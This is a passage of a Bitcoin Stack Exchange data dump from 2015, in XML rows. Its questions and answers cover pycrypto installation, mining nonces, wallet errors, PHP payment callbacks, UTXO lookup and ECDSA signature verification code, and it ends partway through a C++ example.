  <row Id="37459" PostTypeId="2" ParentId="36004" CreationDate="2015-05-18T18:55:04.707" Score="1" Body="&lt;p&gt;This worked for me. Download the package from here. I personally tested this for Python 3.4 and Windows 64 bit.&#xA;&lt;a href=&quot;https://www.dropbox.com/s/n6rckn0k6u4nqke/pycrypto-2.6.1.zip?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/n6rckn0k6u4nqke/pycrypto-2.6.1.zip?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Select your architecture and install the exe file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This will create a Lib folder in your python directory. My python was&#xA;installed in C:\python3.4. This software created a directory in&#xA;C:\   .The directory was named &quot;Lib&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Inside lib there is &quot;site-packages&quot;.&#xA;Copy everything under site-packages (only two folders - &lt;code&gt;Crypto&lt;/code&gt; and &lt;code&gt;*.egg-info&lt;/code&gt;) and then paste where your&#xA;python's site-package is. E.g. I am using virtualenv and my path was&#xA;C:\Users\RChaudhary\Programs\PythonVirtualEnvironment\bookeeping.frontend\Lib\site-packages&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;I pasted my files here and voila, it works. pip3.4 list showed my the&#xA;package and my program also runs correctly.&lt;/li&gt;&#xA;&lt;li&gt;From your program manager, uninstall what you installed earlier. Your pycrypto will still work.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="26539" LastActivityDate="2015-05-18T18:55:04.707" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37460" PostTypeId="2" ParentId="37457" CreationDate="2015-05-18T19:23:46.477" Score="1" Body="&lt;p&gt;Yes, it's almost always necessary.  The current Bitcoin difficulty is 48,807,487,245, which means (approximately) that if you go through all possible values for the regular 32-bit nonce, your probability of finding a valid proof of work is only 1 in 48,807,487,245.  So the vast majority of times, you will exhaust all possibilities for the regular nonce, at which point you can increment the extraNonce and continue.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-05-18T19:23:46.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37461" PostTypeId="2" ParentId="37453" CreationDate="2015-05-18T20:06:06.427" Score="1" Body="&lt;p&gt;Have a read of this support note on multibit.org which looks like it covers that error:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://multibit.org/en/help/v0.5/help_support_blockStoreException.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://multibit.org/en/help/v0.5/help_support_blockStoreException.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;BlockStoreException&lt;/p&gt;&#xA;&lt;p&gt;You see a BlockStoreException very occasionally when MultiBit starts. It prevents you synchronising with the Bitcoin network.&lt;/p&gt;&#xA;&lt;p&gt;You can fix this problem by doing the following:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Find where MultiBit is storing your user data - see the help topic &lt;a href=&quot;https://multibit.org/en/help/v0.5/help_troubleshooting.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Troubleshooting&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Shut down MultiBit&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to your MultiBit user data directory - worked out in step 1 - and delete the file multibit.spvchain&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start up MultiBit again&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;It will then regenerate this file and start syncing. After it has synced you should see all your bitcoin in your wallet..&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="888" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-05-29T14:15:34.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37462" PostTypeId="2" ParentId="37458" CreationDate="2015-05-18T23:09:12.063" Score="1" Body="&lt;p&gt;It's part of the JSON code. An &lt;a href=&quot;https://www.json.com/json-array&quot; rel=&quot;nofollow&quot;&gt;Array&lt;/a&gt; is a JSON entity that contains an ordered list of zero or more JSON entities. As its name, &quot;params&quot;, suggests, this one contains the parameters to the command. So when you see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;std::string strHash = params[0].get_str();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That gets the first parameter into a &lt;code&gt;string&lt;/code&gt; called &lt;code&gt;strHash&lt;/code&gt;. This makes sense since the first (and only) parameter to invalidateblock is a hash, as this help text indicates:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &quot;invalidateblock \&quot;hash\&quot;\n&quot;&#xA;        &quot;\nPermanently marks a block as invalid, as if it violated a consensus rule.\n&quot;&#xA;        &quot;\nArguments:\n&quot;&#xA;        &quot;1. hash   (string, required) the hash of the block to mark as invalid\n&quot;&#xA;        &quot;\nResult:\n&quot;&#xA;        &quot;\nExamples:\n&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-05-18T23:09:12.063" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="37463" PostTypeId="1" CreationDate="2015-05-18T23:51:28.453" Score="2" ViewCount="1118" Body="&lt;p&gt;I want to accept payments with the Blockchain Receive Payments API (&lt;a href=&quot;https://blockchain.info/api/api_receive&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/api_receive&lt;/a&gt;) but I can't seem to figure out how to work it. I cannot test it too much because there is a minimum amount of BTC that can be sent to the account for it to work and I just ran out from testing because there is no destination for the address but that's another story- I just need to know that it should work. This is what I have so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;callback.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$secret = &quot;testSecret&quot;;&#xA;if (isset($_GET['secret'])) {&#xA;if ($_GET['secret'] != $secret) {&#xA;    die(&quot;Invalid secret&quot;);&#xA;} else {&#xA;    define(&quot;HOST&quot;, &quot;localhost&quot;); &#xA;    define(&quot;USER&quot;, &quot;root&quot;); &#xA;    define(&quot;PASSWORD&quot;, &quot;DBPASS&quot;); &#xA;    define(&quot;DATABASE&quot;, &quot;xeon.io&quot;);&#xA;    $mysqli = new mysqli(HOST, USER, PASSWORD, DATABASE);&#xA;    $query = &quot;INSERT INTO invoices (item_id, price_in_btc, bought_by, deliver_to, time) VALUES ('2', '001', '1', '1', '0')&quot;;&#xA;        if ($mysqli-&amp;gt;query($query)) {&#xA;            echo &quot;*ok*&quot;;&#xA;        } else {&#xA;            die(&quot;ERROR!!!!1&quot;);&#xA;        }       &#xA;    }&#xA;} else {&#xA;    die(&quot;Blank secret&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;receive.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$secret = 'testSecret';&#xA;$my_address = '1339LGRGE44QMLYa4hTuyAsbKVjVAGXwHW';&#xA;$my_callback_url = 'http://example.com/pay?secret='.$secret;&#xA;$root_url = 'https://blockchain.info/api/receive';&#xA;$parameters = 'method=create&amp;amp;address=' . $my_address .'&amp;amp;callback='.     urlencode($my_callback_url);&#xA;$response = file_get_contents($root_url . '?' . $parameters);&#xA;$object = json_decode($response);&#xA;echo 'Send Payment To : ' . $object-&amp;gt;input_address;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Generating new accounts works just fine but that's not the problem.&#xA;The test callback on their site works but when I actually test it, nothing gets written to the database and the BTC isn't returned to the original account nor sent to the destination account.&#xA;I basically just want to know if I am doing anything wrong with the above code.&#xA;Thanks for the help :)&lt;/p&gt;&#xA;" OwnerUserId="26542" LastEditorUserId="24925" LastEditDate="2015-08-31T10:42:42.297" LastActivityDate="2017-03-10T14:00:43.020" Title="Blockchain Receive Payments API Not Working" Tags="|api|blockchain.info|payment|php|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37464" PostTypeId="2" ParentId="37434" CreationDate="2015-05-19T01:51:26.220" Score="1" Body="&lt;p&gt;Try installing the correct version of BerkleyDB. (4.8) I have the correct .debs in this repository: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://github.com/nickodell/build_bitcoin&quot; rel=&quot;nofollow&quot;&gt;http://github.com/nickodell/build_bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to uninstall the newer version of libdb first.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-05-19T08:22:03.070" LastActivityDate="2015-05-19T08:22:03.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37465" PostTypeId="2" ParentId="20487" CreationDate="2015-05-19T11:25:00.227" Score="0" Body="&lt;p&gt;Wallet is also user friendly front end permitting better faster transaction without requiring Technical knowledge.&lt;/p&gt;&#xA;" OwnerUserId="26548" LastActivityDate="2015-05-19T11:25:00.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37466" PostTypeId="1" CreationDate="2015-05-19T12:20:08.883" Score="1" ViewCount="788" Body="&lt;p&gt;I am a beginner looking to write a simple program that takes an input (address) and prints the unspent amount in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I copied some code from chapter 4 of Mastering Bitcoin to generate a random keypair, and the last lines Andreas had in the code I copied were:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;     # Generate bitcoin address from public key&#xA;&amp;gt;       print &quot;Bitcoin Address (b58check) is:&quot;, bitcoin.pubkey_to_address(public_key)&#xA;&amp;gt;     &#xA;&amp;gt;     # Generate compressed bitcoin address from compressed public key&#xA;&amp;gt;       print &quot;Compressed Bitcoin Address (b58check) is:&quot;, \&#xA;&amp;gt;           bitcoin.pubkey_to_address(hex_compressed_public_key)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added the following bit at the end that prints the UTXO. It is currently printing &quot;[ ]&quot; because there are no UTXOs because I'm generating a new address, but it at least works when I do this and prints something.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;     #Print the UTXO for the given address     &#xA;&amp;gt;     print bitcoin.unspent(bitcoin.pubkey_to_address(public_key))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I type an address instead of the &quot;(bitcoin.pubkey_to_address(public_key))&quot;, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;     print bitcoin.unspent(16jn6k2FJqwrNLDpbZmmmpf4TCW7uM6LED)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It gives me an error (&quot;SyntaxError: invalid syntax) and points to the &quot;D&quot; at the end of the address. I really want to use this specific bit of code to enable me to enter an address and have the UTXOs returned. (Please note, I just found that address on blockchain.info by clicking addresses until one with unspent coins came up! Also I am a complete novice so please go easy on me!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="26549" LastActivityDate="2017-11-20T22:31:29.247" Title="How do I print unspent transaction outputs of an address using pybitcointools" Tags="|development|script|ubuntu|python|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37467" PostTypeId="2" ParentId="18461" CreationDate="2015-05-19T12:44:33.700" Score="5" Body="&lt;p&gt;I'm writing a blog series for beginners called &quot;Basic Blockchain Programming&quot; that might suit your needs. It starts from scratch until building the first raw transaction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://davidederosa.com/basic-blockchain-programming/&quot; rel=&quot;nofollow&quot;&gt;http://davidederosa.com/basic-blockchain-programming/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's still a work in progress, though (4 or 5 posts left).&lt;/p&gt;&#xA;" OwnerUserId="17067" LastEditorUserId="17067" LastEditDate="2015-05-25T11:27:03.343" LastActivityDate="2015-05-25T11:27:03.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37468" PostTypeId="2" ParentId="37466" CreationDate="2015-05-19T14:04:03.813" Score="1" Body="&lt;pre&gt;&lt;code&gt;&amp;gt;     print bitcoin.unspent('16jn6k2FJqwrNLDpbZmmmpf4TCW7uM6LED')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sovled the issue.&lt;/p&gt;&#xA;" OwnerUserId="26549" LastActivityDate="2015-05-19T14:04:03.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37469" PostTypeId="1" AcceptedAnswerId="37700" CreationDate="2015-05-19T14:11:01.540" Score="1" ViewCount="811" Body="&lt;p&gt;i'm attempting to verify a checksig from a transaction in the live blockchain. it is failing on my debian jessie pc with &lt;code&gt;openssl 1.0.1k&lt;/code&gt;, failing on my ubuntu 12.04 virtual machine with &lt;code&gt;openssl 1.0.1&lt;/code&gt; and validating correctly on my debian wheezy pc with &lt;code&gt;openssl 1.0.1e&lt;/code&gt;. both are &lt;a href=&quot;https://github.com/mulllhausen/btc-inquisitor&quot; rel=&quot;nofollow&quot;&gt;using the same code&lt;/a&gt;. the transaction is &lt;a href=&quot;http://blockexplorer.com/tx/599e47a8114fe098103663029548811d2651991b62397e057f0c863c2bc9f9ea&quot; rel=&quot;nofollow&quot;&gt;the first instance of a SIGHASH_NONE in the live blockchain&lt;/a&gt;. i calculate the &quot;message&quot; (tx) hash as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hex: 2c7ecdcb2381e657228284398f2f66b2d7d9cf6aa1bd8e39a7300d0b3c8cfa5a&#xA;same thing in base58: 3zh5uvKWoRjFgKMSLRVqEWXB6YVLsuDKo97yCsCJZ2wB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the signature is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hex: 30440220bb4fbc495aa23babb2c2be4e3fb4a5dffefe20c8eff5940f135649c3ea96444a022004afcda966c807bb97622d3eefea828f623af306ef2b756782ee6f8a22a959a2&#xA;same thing in base58: 381yXZvFc5V2dx81gRNNpj7ResKUgWA92mkTefemM9gM2kW37b3DGkV5v2BsFq94pSuH1E4jHq9ScHcp6T7Mfg41a7rbZCnd&#xA;note that this signature does not have the 02 hashcode appended to it&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the pubkey is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hex: 04f1939ae6b01e849bf05d0ed51fd5b92b79a0e313e3f389c726f11fa3e144d9227b07e8a87c0ee36372e967e090d11b777707aa73efacabffffa285c00b3622d6&#xA;same thing in base58: SJa4B8CrqDs6St5KaXMm4KCCksaT7RDcCaRDyKSD6Mbu1WzSwokEq3JwGtfZRz7by6jYD5QmuVhgqsPYc6wTijQq&#xA;converts to bitcoin address: 145YPBBWRj4aquewvx59SAWNrSZFT5rvxr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;could someone tell me if these parameters pass the ecdsa verification or not? also if anyone knows of an online validator that would be helpful.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;i'm trying to verify this with the jsonrpc client but it doesn't work on any machine i have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python2.7                                                        &#xA;&#xA;from bitcoinrpc.authproxy import AuthServiceProxy, JSONRPCException&#xA;rpcuser = 1&#xA;rpcpassword = 1&#xA;rpc_connection = AuthServiceProxy(&quot;http://%s:%s@127.0.0.1:8332&quot; % (rpcuser, rpcpassword))&#xA;message = &quot;3zh5uvKWoRjFgKMSLRVqEWXB6YVLsuDKo97yCsCJZ2wB&quot;                        &#xA;sig = &quot;381yXZvFc5V2dx81gRNNpj7ResKUgWA92mkTefemM9gM2kW37b3DGkV5v2BsFq94pSuH1E4jHq9ScHcp6T7Mfg41a7rbZCnd&quot;&#xA;addr = &quot;145YPBBWRj4aquewvx59SAWNrSZFT5rvxr&quot;                                     &#xA;res = rpc_connection.verifymessage(addr, sig, message)                          &#xA;print res&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;maybe i'm encoding the message or signature wrong for the rpc client? i tried passing binary encoded data to it, but it didn't like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;File &quot;/usr/local/lib/python2.7/dist-packages/bitcoinrpc/authproxy.py&quot;, line 125, in __call__&#xA;    json.dumps(args, default=EncodeDecimal)))&#xA;  File &quot;/usr/lib/python2.7/json/__init__.py&quot;, line 238, in dumps&#xA;    **kw).encode(obj)&#xA;  File &quot;/usr/lib/python2.7/json/encoder.py&quot;, line 200, in encode&#xA;    chunks = self.iterencode(o, _one_shot=True)&#xA;  File &quot;/usr/lib/python2.7/json/encoder.py&quot;, line 263, in iterencode&#xA;    return _iterencode(o, 0)&#xA;UnicodeDecodeError: 'utf8' codec can't decode byte 0xcd in position 2: invalid continuation byte&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;verifying with &lt;a href=&quot;https://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow&quot;&gt;pybitcointools&lt;/a&gt; works on all machines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bitcoin import *&#xA;import binascii&#xA;&#xA;msg = &quot;2c7ecdcb2381e657228284398f2f66b2d7d9cf6aa1bd8e39a7300d0b3c8cfa5a&quot;&#xA;# make sure to include the 02 hashcode on the end of the signature here!!&#xA;sig = &quot;30440220bb4fbc495aa23babb2c2be4e3fb4a5dffefe20c8eff5940f135649c3ea96444a022004afcda966c807bb97622d3eefea828f623af306ef2b756782ee6f8a22a959a202&quot;&#xA;pub = &quot;04f1939ae6b01e849bf05d0ed51fd5b92b79a0e313e3f389c726f11fa3e144d9227b07e8a87c0ee36372e967e090d11b777707aa73efacabffffa285c00b3622d6&quot;&#xA;msg = binascii.unhexlify(msg)&#xA;print ecdsa_raw_verify(msg, der_decode_sig(sig), pub)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="2116" LastEditDate="2015-06-01T04:09:24.123" LastActivityDate="2015-06-01T05:06:26.790" Title="blockchain checksig fail" Tags="|signature|checksig|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37471" PostTypeId="2" ParentId="37452" CreationDate="2015-05-19T15:29:20.353" Score="1" Body="&lt;p&gt;firstly Setup bitcoin Core API server on your pc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then install Php-curl for your Apache server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then Follow Link: &lt;code&gt;en.bitcoin.it/wiki/PHP_developer_intro&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;put api command as function name and if have any Parameters then put in function parameter. i hope it will work.give you result as json format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Must &lt;code&gt;On&lt;/code&gt; your &lt;code&gt;Display Error&lt;/code&gt; in &lt;code&gt;php.ini&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="26456" LastActivityDate="2015-05-19T15:29:20.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37473" PostTypeId="1" AcceptedAnswerId="37474" CreationDate="2015-05-19T15:53:06.610" Score="1" ViewCount="1376" Body="&lt;p&gt;Where can I get source codes of programs written using the python-bitcoinlib?&lt;/p&gt;&#xA;" OwnerUserId="17079" LastEditorUserId="18196" LastEditDate="2015-05-20T14:29:48.513" LastActivityDate="2015-05-20T14:29:48.513" Title="Sample programs written using python-bitcoinlib?" Tags="|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37474" PostTypeId="2" ParentId="37473" CreationDate="2015-05-19T16:55:59.193" Score="1" Body="&lt;p&gt;take a look at the example folder in bitcoinlib repo&#xA;&lt;a href=&quot;https://github.com/petertodd/python-bitcoinlib/tree/master/examples&quot; rel=&quot;nofollow&quot;&gt;https://github.com/petertodd/python-bitcoinlib/tree/master/examples&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26327" LastActivityDate="2015-05-19T16:55:59.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37475" PostTypeId="1" AcceptedAnswerId="37481" CreationDate="2015-05-19T17:15:01.367" Score="0" ViewCount="263" Body="&lt;p&gt;I've been going through &lt;code&gt;main.cpp&lt;/code&gt; in order to roughly find out which function calls the best block and I found out depending on situation there are several similar-sounding function names and code extracts that I suspect of calling the best block.&#xA;Here's my list:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CBlockIndex *pindexBestKnownBlock&lt;/li&gt;&#xA;&lt;li&gt;uint256 CCoinsView::GetBestBlock () const&lt;/li&gt;&#xA;&lt;li&gt;CBlockIndex* pindexBestHeader&lt;/li&gt;&#xA;&lt;li&gt;CBlockIndex* pindexBestForkTip &lt;/li&gt;&#xA;&lt;li&gt;pindexBestInvalid&lt;/li&gt;&#xA;&lt;li&gt;// move best block pointer to prevout block&lt;br&gt;&#xA;view.SetBestBlock(pindex-&gt;pprev-&gt;GetBlockHash());&lt;/li&gt;&#xA;&lt;li&gt;chainActive.Tip()-&gt;GetBlockHash().ToString()&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now my question: Which one of the list items above can I use and modify in a way that calls a &lt;strong&gt;block that is n blocks deeper than the best block on the same blockchain&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="121614" LastEditDate="2022-07-08T03:26:37.377" LastActivityDate="2022-07-08T03:26:37.377" Title="Call function for block n on blockchain" Tags="|blockchain|block|bitcoin-core-development|c++|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37477" PostTypeId="2" ParentId="37463" CreationDate="2015-05-20T00:25:07.913" Score="1" Body="&lt;p&gt;Not an expert, but have I have an ecommerce site that relies on blockchain's API and the error log I have looked at seems to indicate that cloud flare is preventing the return of the info that I'm looking to populate my stores db (just checking balances, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there error logs that you've looked at and do they confirm that cloud flare is not the issue?  Seems like it plagues everybody using their API for basic functions.&lt;/p&gt;&#xA;" OwnerUserId="26554" LastEditorUserId="18196" LastEditDate="2015-05-29T19:19:06.373" LastActivityDate="2015-05-29T19:19:06.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37478" PostTypeId="2" ParentId="34219" CreationDate="2015-05-20T01:30:26.017" Score="0" Body="&lt;p&gt;My guess is like any business it's an interest loan that they take out.  It's a bit of a risk if the difficulty of mining does not rise, but maybe that's a win win for both of you.  Businesses sell bonds to people at interests rates where the people or the banks are guaranteed to make money.  They can invest in newer equipment today while you have to wait 6-9 months for your year contract to make a profit. I'm currently mining through bitcoin cloud mining service and at the rate they are paying me I will get a return on investment for my two year contract in 6 - 9 months.&lt;/p&gt;&#xA;" OwnerUserId="26555" LastActivityDate="2015-05-20T01:30:26.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37479" PostTypeId="1" AcceptedAnswerId="37492" CreationDate="2015-05-20T06:26:40.700" Score="2" ViewCount="472" Body="&lt;p&gt;I'm looking for an API that can hide where my received money goes, for privacy reasons. I don't want my customers to be able to see how much money I've received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain used to have a mixing service with their receiving API, so that no one could see where the bitcoin was forwarded to, but they discontinued it. Are there any API's out there that have a mixing feature like this? If not, what can I do to ensure privacy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="26558" LastEditorUserId="26558" LastEditDate="2015-05-20T13:45:47.503" LastActivityDate="2015-06-29T15:28:37.200" Title="Bitcoin API with mixing service" Tags="|api|mixing|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37480" PostTypeId="2" ParentId="37469" CreationDate="2015-05-20T08:01:24.953" Score="2" Body="&lt;p&gt;Yes, you calculated digest &lt;strong&gt;2c7ecdcb2381e657228284398f2f66b2d7d9cf6aa1bd8e39a7300d0b3c8cfa5a&lt;/strong&gt; correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my piece of dirty code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static void xxtest ( )&#xA;{&#xA;  const QByteArray t ( MyByteArray ( )&#xA;      .putInt32 ( TX_VERSION ) // 01000000&#xA;      .putInt8 ( 1 )           // 01 : one input&#xA;      .putArray ( QByteArray::fromHex ( &quot;5f386c8a3842c9a9dcfa9b78be785a40a7bda08b64646be3654301eaccfc8d5e&quot; ) )&#xA;      .putInt32 ( 1 )          // 01000000 : index&#xA;      .putPrefixed ( MyByteArray ( )&#xA;         .putInt8 ( OP_DUP )&#xA;         .putInt8 ( OP_HASH160 )&#xA;         .putPrefixed ( QByteArray::fromHex ( &quot;21c43ce400901312a603e4207aadfd742be8e7da&quot; ) )&#xA;         .putInt8 ( OP_EQUALVERIFY )&#xA;         .putInt8 ( OP_CHECKSIG ) )&#xA;       .putInt32 ( TX_SEQUENCE )&#xA;       .putInt8 ( 0 )          // no outputs&#xA;       .putInt32 ( TX_LOCK )&#xA;       .putInt32 ( SIGHASH_NONE ) );&#xA;  _trace ( QString ( t.toHex ( ).constData ( ) ) );&#xA;  const MyKey32 digest ( t.constData ( ), t.size ( ) );&#xA;  _trace ( QString ( &quot;digest = %1&quot; ).arg ( digest.toStringRev ( ) ) );&#xA;  const QByteArray pubkey ( QByteArray::fromHex ( &quot;04f1939ae6b01e849bf05d0ed51fd5b92b79a0e313e3f389c726f11fa3e144d9227b07e8a87c0ee36372e967e090d11b777707aa73efacabffffa285c00b3622d6&quot; ) );&#xA;  const QByteArray signature ( QByteArray::fromHex ( &quot;30440220bb4fbc495aa23babb2c2be4e3fb4a5dffefe20c8eff5940f135649c3ea96444a022004afcda966c807bb97622d3eefea828f623af306ef2b756782ee6f8a22a959a2&quot; ) );&#xA;  _trace ( QString ( &quot;verify=%1 (expected value=1)&quot; ).arg ( digest.verify ( pubkey, signature ) ) );&#xA;  // now test the same with wrong digest&#xA;  const MyKey32 temp ( &quot;temp&quot;, 4 );&#xA;  _trace ( QString ( &quot;verify=%1 (expected value=0)&quot; ).arg ( temp.verify ( pubkey, signature ) ) );&#xA;}&#xA;//--------------------------------------------------------------&#xA;bool MyKey32::verify ( const QByteArray&amp;amp; pub, const QByteArray&amp;amp; sig ) const&#xA;{&#xA;  return 0 &amp;lt; ECDSA_verify ( 0, constPtr ( ), 32, (const quint8*)sig.constData ( ), sig.size ( ), EC_KEY_pub_key ( pub ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the output is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;01000000015f386c8a3842c9a9dcfa9b78be785a40a7bda08b64646be3654301eaccfc8d5e010000001976a91421c43ce400901312a603e4207aadfd742be8e7da88acffffffff000000000002000000&quot;&#xA;&quot;digest = 2c7ecdcb2381e657228284398f2f66b2d7d9cf6aa1bd8e39a7300d0b3c8cfa5a&quot;&#xA;&quot;verify=1 (expected value=1)&quot;&#xA;&quot;verify=0 (expected value=0)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;Here is small program for checking signatures with dependency only for OpenSSL lib:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;QByteArray&amp;gt;&#xA;#include &amp;lt;QDebug&amp;gt;&#xA;&#xA;#include &amp;lt;openssl/ec.h&amp;gt;&#xA;#include &amp;lt;openssl/evp.h&amp;gt;&#xA;#include &amp;lt;openssl/ecdsa.h&amp;gt;&#xA;#include &amp;lt;openssl/sha.h&amp;gt;&#xA;&#xA;static EC_KEY* EC_KEY_pub_key ( const QByteArray&amp;amp; pub )&#xA;{&#xA;  static EC_KEY* eckey = EC_KEY_new_by_curve_name ( NID_secp256k1 );&#xA;  const quint8* ppub = (const quint8*)pub.constData ( );&#xA;  o2i_ECPublicKey ( &amp;amp;eckey, &amp;amp;ppub, pub.size ( ) );&#xA;  return eckey;&#xA;}&#xA;//--------------------------------------------------------------&#xA;int main(int argc, char *argv[])&#xA;{&#xA;  const QByteArray data ( QByteArray::fromHex ( argv [1] ) );&#xA;  const QByteArray sign ( QByteArray::fromHex ( argv [2] ) );&#xA;  const QByteArray pubk ( QByteArray::fromHex ( argv [3] ) );&#xA;&#xA;  